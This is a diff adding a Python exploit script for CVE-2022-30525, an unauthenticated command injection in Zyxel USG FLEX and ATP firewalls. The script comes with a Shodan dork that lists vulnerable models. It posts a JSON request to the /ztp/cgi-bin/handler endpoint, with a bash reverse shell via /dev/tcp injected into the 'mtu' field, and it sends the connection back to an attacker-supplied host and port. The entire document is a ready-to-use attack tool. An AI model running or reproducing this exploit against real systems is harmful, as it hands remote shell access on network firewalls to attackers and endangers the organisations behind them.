|
| 1 | +# Exploit Title: Zyxel USG FLEX 5.21 - OS Command Injection |
| 2 | +# Shodan Dork: title:"USG FLEX 100" title:"USG FLEX 100W" title:"USG FLEX 200" title:"USG FLEX 500" title:"USG FLEX 700" title:"USG20-VPN" title:"USG20W-VPN" title:"ATP 100" title:"ATP 200" title:"ATP 500" title:"ATP 700" title:"ATP 800" |
| 3 | +# Date: May 18th 2022 |
| 4 | +# Exploit Author: Valentin Lobstein |
| 5 | +# Vendor Homepage: https://www.zyxel.com |
| 6 | +# Version: ZLD5.00 thru ZLD5.21 |
| 7 | +# Tested on: Linux |
| 8 | +# CVE: CVE-2022-30525 |
| 9 | + |
| 10 | + |
| 11 | +from requests.packages.urllib3.exceptions import InsecureRequestWarning |
| 12 | +import sys |
| 13 | +import json |
| 14 | +import base64 |
| 15 | +import requests |
| 16 | +import argparse |
| 17 | + |
| 18 | + |
| 19 | +parser = argparse.ArgumentParser( |
| 20 | + prog="CVE-2022-30525.py", |
| 21 | + description="Example : python3 %(prog)s -u https://google.com -r 127.0.0.1 -p 4444", |
| 22 | +) |
| 23 | +parser.add_argument("-u", dest="url", help="Specify target URL") |
| 24 | +parser.add_argument("-r", dest="host", help="Specify Remote host") |
| 25 | +parser.add_argument("-p", dest="port", help="Specify Remote port") |
| 26 | + |
| 27 | +args = parser.parse_args() |
| 28 | + |
| 29 | +banner = ( |
| 30 | + "ICwtLiAuICAgLCAsLS0uICAgICAsLS4gICAsLS4gICwtLiAgLC0uICAgICAgLC0tLCAgLC0uICA7" |
| 31 | + "LS0nICwtLiAgOy0tJyAKLyAgICB8ICAvICB8ICAgICAgICAgICApIC8gIC9cICAgICkgICAgKSAg" |
| 32 | + "ICAgICAvICAvICAvXCB8ICAgICAgICkgfCAgICAKfCAgICB8IC8gICB8LSAgIC0tLSAgIC8gIHwg" |
| 33 | + "LyB8ICAgLyAgICAvICAtLS0gIGAuICB8IC8gfCBgLS4gICAgLyAgYC0uICAKXCAgICB8LyAgICB8" |
| 34 | + "ICAgICAgICAgLyAgIFwvICAvICAvICAgIC8gICAgICAgICAgKSBcLyAgLyAgICApICAvICAgICAg" |
| 35 | + "KSAKIGAtJyAnICAgICBgLS0nICAgICAnLS0nICBgLScgICctLScgJy0tJyAgICAgYC0nICAgYC0n" |
| 36 | + "ICBgLScgICctLScgYC0nICAKCVJldnNoZWxscwkoQ3JlYXRlZCBCeSBWYWxlbnRpbiBMb2JzdGVp" |
| 37 | + "biA6KSApCg==" |
| 38 | +) |
| 39 | + |
| 40 | + |
| 41 | +def main(): |
| 42 | + |
| 43 | + print("\n" + base64.b64decode(banner).decode("utf-8")) |
| 44 | + |
| 45 | + if None in vars(args).values(): |
| 46 | + print(f"[!] Please enter all parameters !") |
| 47 | + parser.print_help() |
| 48 | + sys.exit() |
| 49 | + |
| 50 | + if "http" not in args.url: |
| 51 | + args.url = "https://" + args.url |
| 52 | + args.url += "/ztp/cgi-bin/handler" |
| 53 | + exploit(args.url, args.host, args.port) |
| 54 | + |
| 55 | + |
| 56 | +def exploit(url, host, port): |
| 57 | + headers = { |
| 58 | + "User-Agent": "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:71.0) Gecko/20100101 Firefox/71.0", |
| 59 | + "Content-Type": "application/json", |
| 60 | + } |
| 61 | + |
| 62 | + data = { |
| 63 | + "command": "setWanPortSt", |
| 64 | + "proto": "dhcp", |
| 65 | + "port": "4", |
| 66 | + "vlan_tagged": "1", |
| 67 | + "vlanid": "5", |
| 68 | + "mtu": f'; bash -c "exec bash -i &>/dev/tcp/{host}/{port}<&1;";', |
| 69 | + "data": "hi", |
| 70 | + } |
| 71 | + requests.packages.urllib3.disable_warnings(InsecureRequestWarning) |
| 72 | + print(f"\n[!] Trying to exploit {args.url.replace('/ztp/cgi-bin/handler','')}") |
| 73 | + |
| 74 | + try: |
| 75 | + response = requests.post( |
| 76 | + url=url, headers=headers, data=json.dumps(data), verify=False, timeout=5 |
| 77 | + ) |
| 78 | + except (KeyboardInterrupt, requests.exceptions.Timeout): |
| 79 | + print("[!] Bye Bye hekcer !") |
| 80 | + sys.exit(1) |
| 81 | + finally: |
| 82 | + |
| 83 | + try: |
| 84 | + print("[!] Can't exploit the target ! Code :", response.status_code) |
| 85 | + |
| 86 | + except: |
| 87 | + print("[!] Enjoy your shell !!!") |
| 88 | + |
| 89 | + |
| 90 | +if __name__ == "__main__": |
| 91 | + main() |
0 commit comments